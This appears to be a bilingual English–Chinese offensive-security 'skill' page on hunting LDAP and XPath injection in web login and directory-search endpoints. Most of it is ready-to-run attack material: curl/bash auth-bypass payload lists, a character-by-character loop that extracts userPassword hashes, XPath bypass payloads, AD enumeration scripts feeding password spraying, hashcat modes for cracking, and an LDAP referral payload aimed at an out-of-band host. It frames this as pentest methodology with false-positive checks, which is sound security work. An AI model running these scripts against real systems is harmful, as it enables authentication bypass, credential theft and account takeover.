hunt-ldap

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

HUNT-LDAP — LDAP Injection & XPath Injection

HUNT-LDAP — LDAP 注入与 XPath 注入

Grounding note: LDAP injection is rarely disclosed with verbatim payloads on public platforms (most live on internal-pentest reports). This skill is grounded in the OWASP LDAP Injection Prevention / Testing Guide (WSTG-INPV-06), PortSwigger Web Security Academy (LDAP injection), and the RFC 4515 filter grammar — all publicly verifiable references rather than invented HackerOne IDs. Do not cite a report you cannot link.
基础说明:LDAP 注入很少在公开平台上以原样 payload 披露(大多存在于内部渗透测试报告中)。本 skill 以 OWASP LDAP Injection Prevention / Testing Guide(WSTG-INPV-06)、PortSwigger Web Security Academy(LDAP injection) 和 RFC 4515 过滤器语法为依据——这些都是可公开验证的参考资料,而不是虚构的 HackerOne ID。不要引用无法提供链接的报告。

Crown Jewel Targets

核心高价值目标

LDAP injection that bypasses authentication = Critical. Blind attribute exfiltration of credentials/secrets = High. AD enumeration alone = Medium-High.
Highest-value chains:
  • LDAP auth bypass — close the
    uid
    filter and append an always-true OR so the bind/search returns the admin entry without a valid password.
  • Blind attribute exfil — char-by-char extraction of an attribute value via a boolean oracle (login success/failure, result count, or response length).
  • userPassword hash exfil (non-AD only) — on OpenLDAP/389-DS the
    userPassword
    attribute can hold
    {SSHA}
    /
    {CRYPT}
    hashes that ARE readable by query. See the AD-vs-generic warning below.
  • XPath injection auth bypass —
    ' or '1'='1
    against XML-backed auth.

LDAP 注入绕过身份验证 = Critical。通过盲注外泄凭据/机密 = High。仅进行 AD 枚举 = Medium-High。
价值最高的攻击链:
  • LDAP 身份验证绕过 — 闭合
    uid
    过滤器并追加一个恒为真的 OR,使 bind/search 无需有效密码即可返回 admin 条目。
  • 盲注属性外泄 — 通过布尔 oracle(登录成功/失败、结果数量或响应长度)逐字符提取属性值。
  • userPassword 哈希外泄(仅限非 AD) — 在 OpenLDAP/389-DS 上,
    userPassword
    属性可能保存可通过查询读取的
    {SSHA}
    /
    {CRYPT}
    哈希。请参阅下方关于 AD 与通用 LDAP 的警告。
  • XPath 注入身份验证绕过 — 对基于 XML 的身份验证使用
    ' or '1'='1
    。

CRITICAL — Active Directory vs generic LDAP

关键——Active Directory 与通用 LDAP

Do not conflate the two. They behave very differently:
Generic LDAP (OpenLDAP, 389-DS, ApacheDS)Active Directory
Password attribute
userPassword
— may hold
{SSHA}
/
{MD5}
/
{CRYPT}
and is readable if ACL allows
unicodePwd
— write-only, never returned by any search
Hash exfil via injectionPossible where ACLs leak
userPassword
Not possible — there is no readable hash attribute over LDAP
Useful enum attrs
uid
,
cn
,
mail
,
userPassword
sAMAccountName
,
userPrincipalName
,
mail
,
memberOf
,
description
(often holds plaintext secrets!)
Do not tell a reader that blind LDAP injection yields AD password hashes — it does not.
unicodePwd
is write-only. Against AD, the win is enumeration (
sAMAccountName
,
memberOf
,
description
/
info
fields that admins misuse to store passwords) and auth bypass — not hash dumping. The hash-exfil technique applies only to non-AD directories exposing
userPassword
.

不要将二者混为一谈。它们的行为存在显著差异:
通用 LDAP(OpenLDAP、389-DS、ApacheDS)Active Directory
密码属性
userPassword
— 在 ACL 允许时,可能保存
{SSHA}
/
{MD5}
/
{CRYPT}
且可读取
unicodePwd
— 只写,任何搜索都不会返回
通过注入外泄哈希在 ACL 泄漏
userPassword
的情况下可能可行
不可行 — LDAP 上没有可读取的哈希属性
有用的枚举属性
uid
、
cn
、
mail
、
userPassword
sAMAccountName
、
userPrincipalName
、
mail
、
memberOf
、
description
(经常保存明文机密!)
不要告诉读者盲式 LDAP 注入能够得到 AD 密码哈希——事实并非如此。
unicodePwd
是只写属性。针对 AD,攻击收益来自枚举(
sAMAccountName
、
memberOf
、
description
/
info
字段,管理员经常误将其用于存储密码)以及身份验证绕过,而不是哈希转储。哈希外泄技术仅适用于暴露
userPassword
的非 AD 目录。

Attack Surface Signals

攻击面信号

Corporate SSO / intranet login pages (often legacy Java/Spring/PHP)
Windows + IIS + "integrated" directory auth
/api/ldap/*  /api/directory/*  /people  /address-book  /search?dir=
"Find a colleague" / org-chart / employee-search features
XML-backed config or auth → XPath injection candidate
Error strings that confirm an LDAP backend:
  javax.naming.NameNotFoundException
  javax.naming.directory.InvalidSearchFilterException
  LDAP: error code 49 - 80090308  (AD invalid creds / bind failure)
  com.sun.jndi.ldap.*  /  System.DirectoryServices  /  ldap_search():
  "Bad search filter"  /  net.ldap (Go)  /  python-ldap SERVER_DOWN

Corporate SSO / intranet login pages (often legacy Java/Spring/PHP)
Windows + IIS + "integrated" directory auth
/api/ldap/*  /api/directory/*  /people  /address-book  /search?dir=
"Find a colleague" / org-chart / employee-search features
XML-backed config or auth → XPath injection candidate
Error strings that confirm an LDAP backend:
  javax.naming.NameNotFoundException
  javax.naming.directory.InvalidSearchFilterException
  LDAP: error code 49 - 80090308  (AD invalid creds / bind failure)
  com.sun.jndi.ldap.*  /  System.DirectoryServices  /  ldap_search():
  "Bad search filter"  /  net.ldap (Go)  /  python-ldap SERVER_DOWN

LDAP filter grammar (RFC 4515) — why injection works

LDAP 过滤器语法(RFC 4515)——注入为何可行

A login filter is typically built by string-concat:
(&(uid=<USERNAME>)(userPassword=<PASSWORD>))
&
= AND,
|
= OR,
!
= NOT. Filters are prefix/Polish notation — the operator comes first and every sub-filter is parenthesised. To inject you must (a) escape the current
(uid=...)
group, (b) inject your own logic, and (c) leave the overall parenthesis count balanced or the server throws a filter-syntax error instead of executing.
登录过滤器通常通过字符串拼接构建:
(&(uid=<USERNAME>)(userPassword=<PASSWORD>))
&
= AND,
|
= OR,
!
= NOT。过滤器采用前缀/Polish 记法——运算符位于最前,每个子过滤器都带有括号。要进行注入,你必须 (a) 转义当前
(uid=...)
组,(b) 注入自己的逻辑,并且 (c) 让整体的括号数量保持平衡,否则服务器会抛出过滤器语法错误,而不是执行注入。

The special-character set — TEST EACH ONE

特殊字符集——逐个测试

These characters are syntactically meaningful and MUST be escaped by a safe app (RFC 4515 §3). If the app reflects an error or behaves differently when you send them raw, the input is unescaped → injectable:
CharFilter escapeWhy it matters
*
\2a
wildcard — matches any value
(
\28
opens a filter group
)
\29
closes a filter group
\
\5c
escape char itself
NUL
\00
string terminator — truncates filter in C-backed servers
/
(DN context)RDN separator — relevant for DN injection
Search-filter context vs DN injection are different bugs:
  • Search-filter injection (most common): your input lands inside a
    (attr=VALUE)
    filter. Payloads use
    * ( ) & | !
    .
  • DN injection: your input is concatenated into a Distinguished Name (
    uid=VALUE,ou=people,dc=corp
    ). Here
    ,
    =
    +
    "
    \
    <
    >
    ;
    and
    /
    matter, and a
    *
    is NOT a wildcard. Test both — the payloads do not transfer.

这些字符在语法上有特殊含义,安全应用必须将其转义(RFC 4515 §3)。如果应用返回错误,或在发送未转义字符时行为发生变化,则说明输入未被转义 → 可注入:
字符过滤器转义重要性
*
\2a
通配符 — 匹配任意值
(
\28
开启过滤器组
)
\29
关闭过滤器组
\
\5c
转义字符本身
NUL
\00
字符串终止符 — 在 C 后端服务器中截断过滤器
/
(DN 上下文)RDN 分隔符 — 与 DN 注入有关
搜索过滤器上下文与 DN 注入是不同的漏洞:
  • 搜索过滤器注入(最常见):输入进入
    (attr=VALUE)
    过滤器。Payload 使用
    * ( ) & | !
    。
  • DN 注入:输入被拼接进 Distinguished Name(
    uid=VALUE,ou=people,dc=corp
    )。这里
    ,
    =
    +
    "
    \
    <
    >
    ;
    和
    /
    很重要,而
    *
    不是通配符。两者都应测试——payload 不能直接互换。

Step-by-Step Hunting Methodology

分步猎取方法论

Phase 1 — Confirm an LDAP backend (baseline first)

阶段 1——确认 LDAP 后端(先建立基线)

bash
undefined
bash
undefined

ALWAYS capture a control response first — you compare everything to this.

ALWAYS capture a control response first — you compare everything to this.

BASE=$(curl -s -o /dev/null -w "%{http_code}|%{size_download}|%{time_total}"
-X POST https://$TARGET/api/login
-H "Content-Type: application/json"
-d '{"username":"validlookinguser","password":"wrongpass"}') echo "BASELINE (valid-format, wrong pw): $BASE"
BASE=$(curl -s -o /dev/null -w "%{http_code}|%{size_download}|%{time_total}"
-X POST https://$TARGET/api/login
-H "Content-Type: application/json"
-d '{"username":"validlookinguser","password":"wrongpass"}') echo "BASELINE (valid-format, wrong pw): $BASE"

Send a single unbalanced paren. A SAFE (escaping) app → identical baseline.

Send a single unbalanced paren. A SAFE (escaping) app → identical baseline.

An INJECTABLE app → 500 / filter-syntax error / different size.

An INJECTABLE app → 500 / filter-syntax error / different size.

curl -s -X POST https://$TARGET/api/login
-H "Content-Type: application/json"
-d '{"username":"test)","password":"x"}' | grep -iE
"naming|InvalidSearchFilter|error code 49|Bad search filter|jndi|ldap_search"

A lone `)` that produces a syntax error/500 while a balanced payload does not is
the cleanest LDAP-injection tell — note it, you will need it as proof.
curl -s -X POST https://$TARGET/api/login
-H "Content-Type: application/json"
-d '{"username":"test)","password":"x"}' | grep -iE
"naming|InvalidSearchFilter|error code 49|Bad search filter|jndi|ldap_search"

单独发送一个不平衡的右括号。安全的(会转义的)应用 → 与基线相同。可注入的应用 → 出现 500 / 过滤器语法错误 / 大小不同。

一个孤立的 `)` 若会产生语法错误/500,而平衡 payload 不会,则是最清晰的 LDAP 注入迹象——记录下来,报告时需要它作为证据。

Phase 2 — Auth-bypass payloads (balance your parentheses)

阶段 2——身份验证绕过 payload(保持括号平衡)

bash
undefined
bash
undefined

Target filter assumed: (&(uid=USERNAME)(userPassword=PASSWORD))

Target filter assumed: (&(uid=USERNAME)(userPassword=PASSWORD))

Goal: make the uid sub-filter always-true and neutralise the password clause.

Goal: make the uid sub-filter always-true and neutralise the password clause.

Wildcard-everything (works when password clause is dropped by a trailing comment-like break):

Wildcard-everything (works when password clause is dropped by a trailing comment-like break):

username = )(uid=))(|(uid=* password = anything

username = )(uid=))(|(uid=* password = anything

Always-true admin (OR uid=*):

Always-true admin (OR uid=*):

username = admin)(|(uid=*) (note: leaves one extra ')' — see below)

username = admin)(|(uid=*) (note: leaves one extra ')' — see below)

NUL-truncate the password clause (C-backed servers):

NUL-truncate the password clause (C-backed servers):

username = admin)(uid=*))%00 password = x

username = admin)(uid=*))%00 password = x

USERNAME_PAYLOADS=( 'admin))(|(uid=' # close uid + close &, open OR uid= — balance check below ')(uid=))(|(uid=' # full always-true, self-balancing classic 'admin)(!(userPassword=ZZZ))' # AND NOT a password that is never set → always true 'admin' # simple wildcard suffix — try first, lowest noise )
for P in "${USERNAME_PAYLOADS[@]}"; do R=$(curl -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login
-H "Content-Type: application/json"
-d "{"username":$(python3 -c 'import json,sys;print(json.dumps(sys.argv[1]))' "$P"),"password":"anything"}") echo "PAYLOAD: $P" echo "RESP: ${R: -40}" echo "BASE: $BASE <-- compare http_code+size to rule out false positive" echo "---" done

**Parenthesis-balancing rule of thumb:** count `(` minus `)` in the *resulting*
full filter, not just your payload. If the app appends `)(userPassword=...))`
after your input, leave the right number of trailing `)` so the final string is
balanced. An unbalanced filter = syntax error = NOT a bypass (false positive).
USERNAME_PAYLOADS=( 'admin))(|(uid=' # close uid + close &, open OR uid= — balance check below ')(uid=))(|(uid=' # full always-true, self-balancing classic 'admin)(!(userPassword=ZZZ))' # AND NOT a password that is never set → always true 'admin' # simple wildcard suffix — try first, lowest noise )
for P in "${USERNAME_PAYLOADS[@]}"; do R=$(curl -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login
-H "Content-Type: application/json"
-d "{"username":$(python3 -c 'import json,sys;print(json.dumps(sys.argv[1]))' "$P"),"password":"anything"}") echo "PAYLOAD: $P" echo "RESP: ${R: -40}" echo "BASE: $BASE <-- compare http_code+size to rule out false positive" echo "---" done

**括号平衡经验法则:** 计算*最终完整过滤器*中 `(` 减 `)` 的数量,而不只是 payload 中的数量。如果应用在你的输入后追加 `)(userPassword=...))`,请在末尾留下正确数量的 `)`,使最终字符串保持平衡。过滤器不平衡 = 语法错误 = 不是绕过(误报)。

Phase 3 — Blind exfil with a CONTROLLED oracle (not raw byte-count)

阶段 3——使用受控 oracle进行盲注外泄(不要使用原始字节数差异)

Raw
size_download
diffing is noise-prone (WAF banners, CSRF tokens, timestamps, length-jitter on the injected char itself). Use a paired true/false control so the oracle is the response, not the absolute size.
bash
undefined
原始
size_download
差异容易受到噪声影响(WAF banner、CSRF token、时间戳,以及注入字符自身造成的长度抖动)。使用成对的 true/false 对照,使 oracle 依据响应而非绝对大小进行判定。
bash
undefined

Oracle pair: a known-TRUE filter and a known-FALSE filter on a public attr.

Oracle pair: a known-TRUE filter and a known-FALSE filter on a public attr.

TRUE : admin)(uid=))(|(uid= -> entry exists

TRUE : admin)(uid=))(|(uid= -> entry exists

FALSE: admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ

FALSE: admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ

probe () { # $1 = filter-tail payload -> prints normalized size curl -s -o /dev/null -w "%{size_download}" -X POST https://$TARGET/api/login
-H "Content-Type: application/json"
-d "{"username":"$1","password":"x"}" } T=$(probe 'admin)(uid=))(|(uid=') F=$(probe 'admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ') echo "TRUE-class size=$T FALSE-class size=$F" [ "$T" = "$F" ] && { echo "No length oracle — try a STATUS or BODY-MARKER oracle, or OOB."; exit; }
probe () { # $1 = filter-tail payload -> prints normalized size curl -s -o /dev/null -w "%{size_download}" -X POST https://$TARGET/api/login
-H "Content-Type: application/json"
-d "{"username":"$1","password":"x"}" } T=$(probe 'admin)(uid=))(|(uid=') F=$(probe 'admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ') echo "TRUE-class size=$T FALSE-class size=$F" [ "$T" = "$F" ] && { echo "No length oracle — try a STATUS or BODY-MARKER oracle, or OOB."; exit; }

Now extract char-by-char. The boolean test compares against $T/$F, NOT a guess.

Now extract char-by-char. The boolean test compares against $T/$F, NOT a guess.

Filter: (&(uid=admin)(userPassword=<PREFIX><CHAR>*)) on a NON-AD directory.

Filter: (&(uid=admin)(userPassword=<PREFIX><CHAR>*)) on a NON-AD directory.

PREFIX="" for pos in $(seq 1 32); do for C in {a..z} {A..Z} {0..9} '$' '/' '.' '+' '=' '{' '}'; do S=$(probe "admin)(userPassword=${PREFIX}${C}))(|(uid=") if [ "$S" = "$T" ]; then PREFIX="${PREFIX}${C}"; echo "[$pos] -> $PREFIX"; break; fi done done echo "RECOVERED: $PREFIX"

False-positive guards for blind exfil:
- **Repeat each positive char 3x** and confirm the size is stable — length-jitter
  from the attacker-controlled char itself is the #1 false positive.
- Confirm the **FALSE control still returns the FALSE size** after each round (the
  app didn't just start erroring on every request — WAF block looks like a match).
- If body length is unreliable, switch the oracle to **HTTP status**, a **body
  marker string** (`"Invalid credentials"` present/absent), or **timing** with a
  heavy filter — but only after establishing a stable baseline delta.
PREFIX="" for pos in $(seq 1 32); do for C in {a..z} {A..Z} {0..9} '$' '/' '.' '+' '=' '{' '}'; do S=$(probe "admin)(userPassword=${PREFIX}${C}))(|(uid=") if [ "$S" = "$T" ]; then PREFIX="${PREFIX}${C}"; echo "[$pos] -> $PREFIX"; break; fi done done echo "RECOVERED: $PREFIX"

盲注外泄的误报防护:
- **将每个正向字符重复 3 次**并确认大小稳定——攻击者控制的字符自身造成的长度抖动是首要误报来源。
- 每轮之后确认 **FALSE 对照仍返回 FALSE 大小**——应用并非开始对每个请求都报错;WAF 拦截看起来也可能与匹配结果相同。
- 如果正文长度不可靠,可将 oracle 切换为 **HTTP 状态码**、**正文标记字符串**(存在/不存在 `"Invalid credentials"`)或使用**重型过滤器进行计时**——但必须先建立稳定的基线差异。

Phase 4 — XPath injection (XML-backed auth)

阶段 4——XPath 注入(基于 XML 的身份验证)

bash
undefined
bash
undefined

Normal: //users/user[name/text()='ADMIN' and password/text()='PASS']

Normal: //users/user[name/text()='ADMIN' and password/text()='PASS']

Bypass closes the name predicate and OR-trues the whole expression.

Bypass closes the name predicate and OR-true the whole expression.

XPATH_PAYLOADS=( "' or '1'='1" "' or ''='" "admin' or '1'='1' or 'a'='b" # keeps quoting balanced "x'] | //user/* | //user[name()='x" # blind: dump all user nodes (XPath has no comments) "*[contains(name(),'pass')]" # node-name discovery ) for P in "${XPATH_PAYLOADS[@]}"; do E=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "$P") R=$(curl -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login
--data-urlencode "username=$P" --data-urlencode "password=x") echo "$P -> ${R: -24}" done
XPATH_PAYLOADS=( "' or '1'='1" "' or ''='" "admin' or '1'='1' or 'a'='b" # keeps quoting balanced "x'] | //user/* | //user[name()='x" # blind: dump all user nodes (XPath has no comments) "*[contains(name(),'pass')]" # node-name discovery ) for P in "${XPATH_PAYLOADS[@]}"; do E=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "$P") R=$(curl -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login
--data-urlencode "username=$P" --data-urlencode "password=x") echo "$P -> ${R: -24}" done

XPath has NO comment syntax — you must keep quotes/brackets balanced, unlike SQLi.

XPath has NO comment syntax — you must keep quotes/brackets balanced, unlike SQLi.

undefined

XPath **没有**注释语法——必须保持引号/括号平衡,这与 SQLi 不同。

Phase 5 — AD enumeration via wildcard (count oracle, with control)

阶段 5——通过通配符进行 AD 枚举(计数 oracle,配合对照)

bash
undefined
bash
undefined

Establish that prefix='zzqx' (unlikely) returns ~0 and prefix='a' returns more.

Establish that prefix='zzqx' (unlikely) returns ~0 and prefix='a' returns more.

A directory that returns the SAME count for both is NOT leaking via wildcard.

A directory that returns the SAME count for both is NOT leaking via wildcard.

count () { curl -s -X POST https://$TARGET/api/directory/search
-H "Content-Type: application/json" -d "{"filter":"(sAMAccountName=$1*)"}"
| python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get("results",d.get("users",[]))))' 2>/dev/null; } CTRL=$(count "zzqx_unlikely") echo "control count (should be ~0): $CTRL" for L in {a..z}; do echo "$L* -> $(count $L) (vs control $CTRL)"; done
count () { curl -s -X POST https://$TARGET/api/directory/search
-H "Content-Type: application/json" -d "{"filter":"(sAMAccountName=$1*)"}"
| python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get("results",d.get("users",[]))))' 2>/dev/null; } CTRL=$(count "zzqx_unlikely") echo "control count (should be ~0): $CTRL" for L in {a..z}; do echo "$L* -> $(count $L) (vs control $CTRL)"; done

Then pivot to memberOf / description for privileged accounts:

Then pivot to memberOf / description for privileged accounts:

(&(sAMAccountName=*)(memberOf=Domain Admins))

(&(sAMAccountName=*)(memberOf=Domain Admins))

(description=pw) (description=pass) — admins stash secrets here

(description=pw) (description=pass) — admins stash secrets here

undefined
undefined

Phase 6 — Tooling & OOB confirmation

阶段 6——工具与 OOB 确认

bash
undefined
bash
undefined

Validate the inferred filter directly if you ever get LDAP creds / a bind:

Validate the inferred filter directly if you ever get LDAP creds / a bind:

ldapsearch -x -H ldap://$AD_HOST -D "CORP\user" -w "$PW"
-b "dc=corp,dc=local" "(&(objectClass=user)(sAMAccountName=admin*))" sAMAccountName memberOf
ldapsearch -x -H ldap://$AD_HOST -D "CORP\user" -w "$PW"
-b "dc=corp,dc=local" "(&(objectClass=user)(sAMAccountName=admin*))" sAMAccountName memberOf

Burp: Intruder over the char set for blind exfil; the Web Security Academy

Burp: Intruder over the char set for blind exfil; the Web Security Academy

"Blind LDAP injection" labs mirror the Phase-3 oracle exactly.

"Blind LDAP injection" labs mirror the Phase-3 oracle exactly.

OOB (rare but decisive): some JNDI/LDAP stacks resolve a referral. If you can

OOB (rare but decisive): some JNDI/LDAP stacks resolve a referral. If you can

inject a referral/URL the server dereferences, point it at Collaborator:

inject a referral/URL the server dereferences, point it at Collaborator:

(uid=*))(referral=ldap://<COLLAB>/x) — a DNS/LDAP hit at Collaborator

(uid=*))(referral=ldap://<COLLAB>/x) — a DNS/LDAP hit at Collaborator

is server-side proof with zero ambiguity. Treat any Collaborator interaction

is server-side proof with zero ambiguity. Treat any Collaborator interaction

as the gold-standard confirmation for otherwise-blind cases.

as the gold-standard confirmation for otherwise-blind cases.


---

---

Chain Table

攻击链表

LDAP findingChain toImpact
Auth-bypass (always-true filter)Admin/SSO panel as first directory entryCritical
AD enumeration (
sAMAccountName
)
Username list → password spray / credential stuffingMass-ATO risk
memberOf
enumeration
Identify Domain Admins → targeted phishing/sprayTargeted compromise
description
/
info
field read
Plaintext creds admins stashed thereDirect credential leak
Blind exfil of
userPassword
(non-AD only)
{SSHA}
(salted SHA-1) → hashcat
-m 111
(
{SSHA256}
=1411,
{SSHA512}
=1711);
{CRYPT}
→ mode depends on the
$id$
prefix (
$1$
=500,
$6$
=1800) → offline crack
High
LDAP referral → CollaboratorServer-side request / internal directory reachSSRF-class, confirms blind
AD has no readable password attribute — do not list "extract AD hashes" as a chain. Against AD, the credential win comes from
description
/
info
misuse or from enumerated usernames feeding a spray, never from
unicodePwd
.

LDAP 发现可衔接至影响
身份验证绕过(恒为真的过滤器)以首个目录条目进入 Admin/SSO 面板Critical
AD 枚举(
sAMAccountName
)
用户名列表 → 密码喷洒 / 凭据填充大规模 ATO 风险
memberOf
枚举
识别 Domain Admins → 定向钓鱼/喷洒定向入侵风险
读取
description
/
info
字段
管理员存放在其中的明文凭据直接凭据泄漏
盲注外泄
userPassword
(仅限非 AD)
{SSHA}
(加盐 SHA-1)→ hashcat
-m 111
(
{SSHA256}
=1411,
{SSHA512}
=1711);
{CRYPT}
→ 模式取决于
$id$
前缀(
$1$
=500,
$6$
=1800)→ 离线破解
High
LDAP referral → Collaborator服务端请求/内部目录访问SSRF 类问题,可确认盲注
AD 没有可读取的密码属性——不要将“提取 AD 哈希”列为攻击链。针对 AD,凭据收益来自
description
/
info
的误用,或来自枚举出的用户名用于密码喷洒,绝不会来自
unicodePwd
。

Validation — rule out the false positive BEFORE you report

验证——报告前排除误报

A "bypass" or "match" is only real once you have eliminated syntax-error, WAF-block, and length-jitter explanations.
  • Auth bypass: the always-true payload returns a valid authenticated session (session cookie + access to a post-login resource), and the same request with one paren removed returns a filter-syntax error — proving the filter parsed and executed, not that the app fell open on every input.
  • Negative control: an equivalently-shaped but logically-FALSE payload (
    )(uid=NONEXISTENT_ZZZ)
    ) returns the failure response. If both true-class and false-class "succeed", you found a broken endpoint, not LDAP injection.
  • Blind exfil: each recovered char reproduces 3x with stable size; the FALSE control still reads FALSE between rounds; recovered value verified by a direct lookup or by the auth-bypass payload that uses it.
  • XPath: quotes/brackets remained balanced (no 500), and the bypass logged in to a real account context — not just a different error page.
  • OOB where possible: a Collaborator DNS/LDAP interaction from a referral payload is decisive for blind cases — prefer it over length-only inference.
  • AD claim discipline: if you say "AD", you enumerated AD-specific attrs (
    sAMAccountName
    /
    memberOf
    ); never claim AD hash exfil.
Severity:
  • Auth bypass landing as admin/privileged directory entry: Critical
  • userPassword
    hash exfil (non-AD) or
    description
    -field credential read: High
  • AD user/group enumeration only: Medium-High
  • Blind boolean oracle confirmed but no useful attribute reachable: Medium
只有排除了语法错误、WAF 拦截和长度抖动等解释后,“绕过”或“匹配”才算真实。
  • 身份验证绕过: 恒为真的 payload 返回有效的已认证会话(会话 cookie + 可访问登录后资源),并且从同一请求中删除一个括号后会返回过滤器语法错误——这证明过滤器已被解析并执行,而不是应用对所有输入都直接放行。
  • 负向对照: 结构等价但逻辑上为 FALSE 的 payload(
    )(uid=NONEXISTENT_ZZZ)
    )返回失败响应。如果 true-class 和 false-class 都“成功”,说明发现的是一个行为异常的端点,而不是 LDAP 注入。
  • 盲注外泄: 每个恢复出的字符均能复现 3 次且大小稳定;FALSE 对照在各轮之间仍读取为 FALSE;恢复出的值通过直接查询或使用该值的身份验证绕过 payload 得以验证。
  • XPath: 引号/括号保持平衡(无 500),且绕过操作登录到了真实账户上下文——不只是进入了不同的错误页面。
  • 尽可能进行 OOB: referral payload 触发 Collaborator DNS/LDAP 交互,可为盲注提供决定性证据——应优先于仅依据长度推断。
  • AD 声明纪律: 如果声称目标是“AD”,则必须已枚举 AD 专属属性(
    sAMAccountName
    /
    memberOf
    );绝不能声称能够外泄 AD 哈希。
严重性:
  • 以 admin/高权限目录条目身份完成身份验证绕过:Critical
  • userPassword
    哈希外泄(非 AD)或读取
    description
    字段中的凭据:High
  • 仅枚举 AD 用户/组:Medium-High
  • 已确认盲式布尔 oracle,但无法访问有用属性:Medium